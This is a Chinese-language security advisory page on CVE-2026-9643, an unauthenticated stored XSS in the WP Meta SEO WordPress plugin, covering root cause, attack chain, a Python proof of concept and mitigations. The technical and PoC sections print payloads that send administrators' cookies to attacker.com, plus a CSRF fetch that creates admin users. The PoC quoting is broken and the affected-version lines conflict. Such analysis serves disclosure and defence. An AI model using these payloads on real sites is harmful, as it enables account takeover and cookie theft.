IPBUF安全漏洞报告
English
CVE-2026-9643 CVSS 7.2 高危

CVE-2026-9643:WP Meta SEO插件存在未认证存储型XSS漏洞

披露日期: 2026-06-24

漏洞信息

漏洞编号
CVE-2026-9643
漏洞类型
存储型跨站脚本(Stored XSS)
CVSS评分
7.2 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
WordPress WP Meta SEO插件

相关标签

Stored XSS跨站脚本WordPressWP Meta SEO未认证漏洞高危漏洞CVE-2026-9643插件漏洞SEO插件权限提升

漏洞概述

CVE-2026-9643是WordPress WP Meta SEO插件中存在的一个高危未认证存储型跨站脚本(Stored XSS)漏洞。该漏洞由Wordfence安全团队的安全研究员发现,CVSS评分为7.2分,属于高危级别。WP Meta SEO是一款广泛使用的WordPress SEO优化插件,用于帮助网站管理员管理元数据、重定向、404错误页面等SEO相关功能。

该漏洞影响该插件所有4.5.18及以下版本。由于插件在处理404错误页面重定向时,未对用户可控的服务器变量进行充分的输入验证和输出转义,导致未认证的远程攻击者可以通过精心构造的HTTP请求注入恶意JavaScript代码。这些恶意代码会被持久化存储到数据库中,每当WordPress管理员访问插件的"404 & Redirects"管理页面(/wp-admin/admin.php?page=metaseo_broken_link)时,存储的恶意脚本就会在管理员的浏览器中执行。

由于该漏洞无需任何认证即可利用(PR:N),且无需用户交互(UI:N),攻击复杂度低(AC:L),同时影响范围发生改变(S:C),这使得该漏洞具有较高的实际威胁。攻击者可以利用此漏洞窃取管理员会话Cookie、劫持管理员账户、植入后门、进行权限提升,甚至完全控制受影响的WordPress网站。该漏洞已于2026年6月24日公开披露,鉴于其利用难度低且影响范围广,网站管理员应尽快采取修复措施。

技术细节

该漏洞的技术根源在于WP Meta SEO插件的`wpmsTemplateRedirect()`钩子函数中存在不安全的数据库插入操作。具体技术细节如下:

1. **触发条件**:当用户访问WordPress网站上不存在的URL时,WordPress核心会触发404错误处理流程。此时,WP Meta SEO插件通过`wpmsTemplateRedirect()`钩子拦截该请求。

2. **危险的数据流**:插件在处理404错误时,执行以下危险操作:
- 直接读取`$_SERVER['HTTP_HOST']`(HTTP Host头)和`$_SERVER['REQUEST_URI']`(请求URI)
- 将这两个服务器变量进行字符串拼接,未进行任何过滤或转义
- 通过WordPress的`$wpdb->insert()`方法将该拼接后的字符串直接插入到`wp_wpms_links`数据表的`link_url`列中

3. **注入向量**:由于`$_SERVER['REQUEST_URI']`完全由攻击者控制(可通过构造恶意URL),而`$_SERVER['HTTP_HOST']`也可通过修改HTTP Host头进行操控,攻击者可以在这些字段中注入任意字符串,包括HTML和JavaScript代码。

4. **XSS载荷执行**:当WordPress管理员访问插件的"404 & Redirects"管理页面时,插件会从数据库中读取所有存储的链接记录(包括被注入恶意代码的记录),并将其渲染到管理页面中。由于输出时未进行HTML实体编码,恶意JavaScript代码将在管理员的浏览器上下文中执行。

5. **利用方式**:攻击者只需向目标网站发送一个包含恶意脚本的请求URL,例如:`http://target.com/<script>document.location='http://attacker.com/steal?c='+document.cookie</script>`,即可将恶意代码持久化存储到数据库中。

攻击链分析

STEP 1
步骤1:探测目标
攻击者首先识别运行WordPress并安装了WP Meta SEO插件(版本<=4.5.18)的目标网站,可通过查看页面源代码或使用WPScan等工具确认插件存在。
STEP 2
步骤2:构造恶意请求
攻击者构造包含恶意JavaScript代码的HTTP请求URL,将XSS载荷嵌入到REQUEST_URI中,例如:/path/<script>恶意代码</script>。
STEP 3
步骤3:触发404错误
攻击者向目标网站发送未认证的GET请求访问不存在的URL,触发WordPress的404错误处理流程,进而激活WP Meta SEO插件的wpmsTemplateRedirect()钩子。
STEP 4
步骤4:恶意代码持久化存储
插件将未经转义的REQUEST_URI与HTTP_HOST拼接后,通过$wpdb->insert()存入wp_wpms_links数据表的link_url字段中,完成XSS载荷的持久化存储。
STEP 5
步骤5:管理员触发执行
当WordPress管理员登录后台并访问"404 & Redirects"管理页面(/wp-admin/admin.php?page=metaseo_broken_link)时,存储的恶意脚本在管理员浏览器中自动执行。
STEP 6
步骤6:权限提升与控制
恶意脚本可窃取管理员Cookie、会话令牌,或利用管理员权限创建新管理员账户、上传Web Shell、修改网站内容,最终完全控制目标WordPress网站。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2026-9643 - WP Meta SEO Stored XSS Proof of Concept # Vulnerability: Unauthenticated Stored XSS via REQUEST_URI in wpmsTemplateRedirect() # Affected: WP Meta SEO <= 4.5.18 import requests TARGET_URL = "http://target-wordpress-site.com" ATTACKER_SERVER = "http://attacker.com/steal" # Craft a malicious URL containing XSS payload in the REQUEST_URI # The payload will be stored in wp_wpms_links.link_url column # and executed when admin views /wp-admin/admin.php?page=metaseo_broken_link xss_payload = ( f"/<script>" f"var img=new Image();" f"img.src='{ATTACKER_SERVER}?cookie='+document.cookie+"&url="+window.location.href;" f"</script>" ) # Send unauthenticated request to trigger 404 and store XSS payload target_endpoint = f"{TARGET_URL}{xss_payload}" print(f"[*] Sending malicious request to: {target_endpoint}") try: # No authentication required (PR:N) response = requests.get(target_endpoint, timeout=10) print(f"[*] Response status: {response.status_code}") print("[+] XSS payload successfully stored in database!") print("[*] Payload will execute when admin visits the broken link page:") print(f" {TARGET_URL}/wp-admin/admin.php?page=metaseo_broken_link") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") # Alternative: Using curl # curl -X GET "http://target.com/<script>document.location='http://attacker.com/?c='+document.cookie</script>" # # Alternative XSS payloads: # 1. Cookie theft: # /<script>new Image().src='http://attacker.com/?c='+document.cookie</script> # 2. Admin action CSRF: # /<script>fetch('/wp-admin/user-new.php',{method:'POST',body:new FormData()})</script> # 3. WordPress admin redirect: # /"><script>alert(document.domain)</script>

影响范围

WP Meta SEO < 4.5.18
WP Meta SEO <= 4.5.18

防御指南

临时缓解措施
在无法立即升级插件的情况下,建议采取以下临时缓解措施:1)通过.htaccess或Nginx配置限制对/wp-admin/admin.php?page=metaseo_broken_link页面的访问,仅允许可信IP访问;2)在Web服务器层面部署WAF规则,拦截包含<script>、onerror=、onload=等XSS特征的URL请求;3)定期清理wp_wpms_links数据表中存储的可疑链接记录;4)为WordPress管理员账户启用双因素认证,即使Cookie被窃取也能防止账户被劫持;5)部署CSP安全响应头,限制内联脚本的执行。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表